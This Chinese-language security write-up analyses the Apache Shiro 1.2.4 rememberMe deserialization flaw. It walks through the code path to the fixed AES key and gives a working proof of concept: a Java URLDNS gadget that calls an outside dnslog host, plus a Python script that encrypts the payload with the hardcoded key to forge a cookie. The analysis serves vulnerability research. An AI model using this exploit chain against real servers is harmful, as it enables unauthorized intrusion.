前言:
shiro反序列化原因是shiro的一个机制为了让浏览器或服务器重启后不丢失用户的登陆状态,会将用户信息保存到 rememberMe字段中 然后发送到服务端,服务端再对它进行base64解密,aes解密,再进行反序列化,由于在 1.2.4 这个版本里 shiro的key是固定的,所以可以通过构造一段恶意类经过aes加密再base64加密然后放到 rememberMe 伪造cookie信息,来让服务端加载,进而触发反序列化漏洞
环境搭建:
部署一个shiro-1.2.4项目启动即可
漏洞分析
首先勾选Remember Me进行抓包,可以看到cookie 里有一段 rememberMe(是经过aes加密和base64加密过的一段字符串
代码具体实现
先定位到CookieRememberMeManager 因为从注释里大概可以知道这是用来处理cookie的一个类
src/main/java/org/apache/shiro/web/mgt/CookieRememberMeManager.java
从函数列表里可以看到有两个函数,看名字可以知道一个可以用来序列化,一个可以用来反序列化
先从反序列化分析,进入到getRememberedSerializedIdentity,可以看到接收一个字符串对象,然后对它进行强转
继续向下看获取request和response里的cookie,然后进行base64解码,因为刚刚抓的包里面RememberMe字段里的值又不太像base64,自然还有一层aes加密,继续跟进查看哪里调用了这个函数
Find一下可以看到getRememberedPrincipals 调用了getRememberedSerializedIdentity
跟进去可以看到有一个convertBytesToPrincipals对getRememberedSerializedIdentity返回的值进行一个操作
接着跟进去,可以看到这个函数做了两步操作,一个解密,一个反序列化
跟进反序列化函数
接着跟进
可以看到调用了原生的反序列化接口
接下来只需要找到aes密钥那我们就可以自己构造参数了,回到刚刚的convertBytesToPrincipals函数跟进到decrypt
可以看到先将getCipherService实例化为cipherService再去调decrypt进行解密
跟进decrypt
从注释里可以看到,他是通过密钥来进行解密的
回到decrypt可以看到密钥是通过函数获取的
跟进去看到调用了一个常量decryptionCipherKey
继续跟进
接下来找一下写它的地方
跟进去可以看到是用来设置密钥的函数,接着找哪里调用了它
可以看到是用来设置加密解密的函数,继续找
可以看到AbstractRememberMeManager函数里的setCipherKey是一个常量,跟进去
可以看到密钥是一段固定的值
那么现在有了密钥我们就可以自己构造数据包,就是序列化aes加密base64加密,然后把它放到正常的执行流程里就可以利用了,这里是有一个坑的,maven在运行的时候只会把compile和runtime的包打进去,通过插件可以看到shiro原生能利用的只有cb
漏洞验证
URLDNS验证
先利用jdk自己的链验证一下漏洞
package example;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class URLDNS {
public static void main(String[] args) throws Exception {
HashMap<URL,Integer> hashmap = new HashMap<>();
URL url = new URL("http://amr6r7.dnslog.cn");
Class c = url.getClass();
Field hashCodeField = c.getDeclaredField("hashCode");
hashCodeField.setAccessible(true);
hashCodeField.set(url,1234);
hashmap.put(url,1);
hashCodeField.set(url,-1);
serialize(hashmap);
}
private static void serialize(Object obj) throws IOException {
ObjectOutputStream oss = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oss.writeObject(obj);
}
}
生成的ser.bin放到py目录下
再利用脚本将序列化的对象aes和base64加密一下
import uuid
import base64
import sys
from random import Random
from Crypto.Cipher import AES
def get_file_data(filename):
with open(filename, 'rb') as f:
data = f.read()
return data
def aes_enc(data):
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(data)))
return ciphertext
def aes_dec(enc_data):
enc_data = base64.b64decode(enc_data)
unpad = lambda s : s[:-s[-1]]
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = enc_data[:16]
encryptor = AES.new(base64.b64decode(key), mode, iv)
plaintext = encryptor.decrypt(enc_data[16:])
plaintext = unpad(plaintext)
return plaintext
if __name__ == '__main__':
data = get_file_data("ser.bin")
print(aes_enc(data))
替换到rememberMe字段里
这里默认有一个JSESSIONID,也就是说如果有JSESSIONID默认就不会去读rememberMe,正常发送payload需要删掉这个JSESSIONID
发送payload,ide下断点
可以看到先是进行了base64解码
之后进行aes解密
然后就走到了readObject
之后进入hashmap
调用了readObject请求dnslog
再来看下dns这边,收到记录